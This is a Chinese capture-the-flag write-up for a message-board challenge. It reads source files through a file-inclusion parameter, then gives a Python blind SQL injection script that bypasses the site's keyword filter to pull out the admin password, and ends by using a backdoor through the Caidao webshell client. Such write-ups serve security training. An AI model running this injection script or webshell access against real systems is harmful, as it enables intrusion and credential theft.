这是一道不错的sql注入+getshell的综合题 题目地址为:http://cms.nuptzj.cn/

首先审题,XX留言板,不会是xss吧2333(实际上并不是),直接查看源代码,发现了http://cms.nuptzj.cn/about.php?file=sm.txt, 访问可以得到一些目录以及mysql的admin表的结构,file后的参数可以得到在sm.txt中提到的文件,把他们加上about.php和so.php下下来分析一下

整个网站有一个so.php另外还有一个后台,后台被ban了,无法看到源码

那么就来注入一下

import requests
import string

str1 = string.printable

flag = ""
for i in range(0,40):
    for j in str1:
        url = 'http://cms.nuptzj.cn/so.php'#ascii(substr((select database()),1,1)) =1
        con = "0'/*!*/oORr/**/ascii(substr((selSELECTect/**/userpapassss/*!*/frFROMom/**/admADMINin),{},1))>{}#".format(i,ord(j))
        #print con
        data = {'soid': con}
        headers = {'user-agent':'Xlcteam Browser'}
        s=requests.post(url,data=data,headers = headers)
        length = s.text
        if 'e045e454c18ca8a4415cfeddd1f7375eb0595c71ac00a0e4758761' not in length:
            flag += j
            print flag
            break
print flag

得到密码,登录进去

得到后门。菜刀链接,www=grep_replace具体原理就不说了,post为www,浏览服务器,得到flag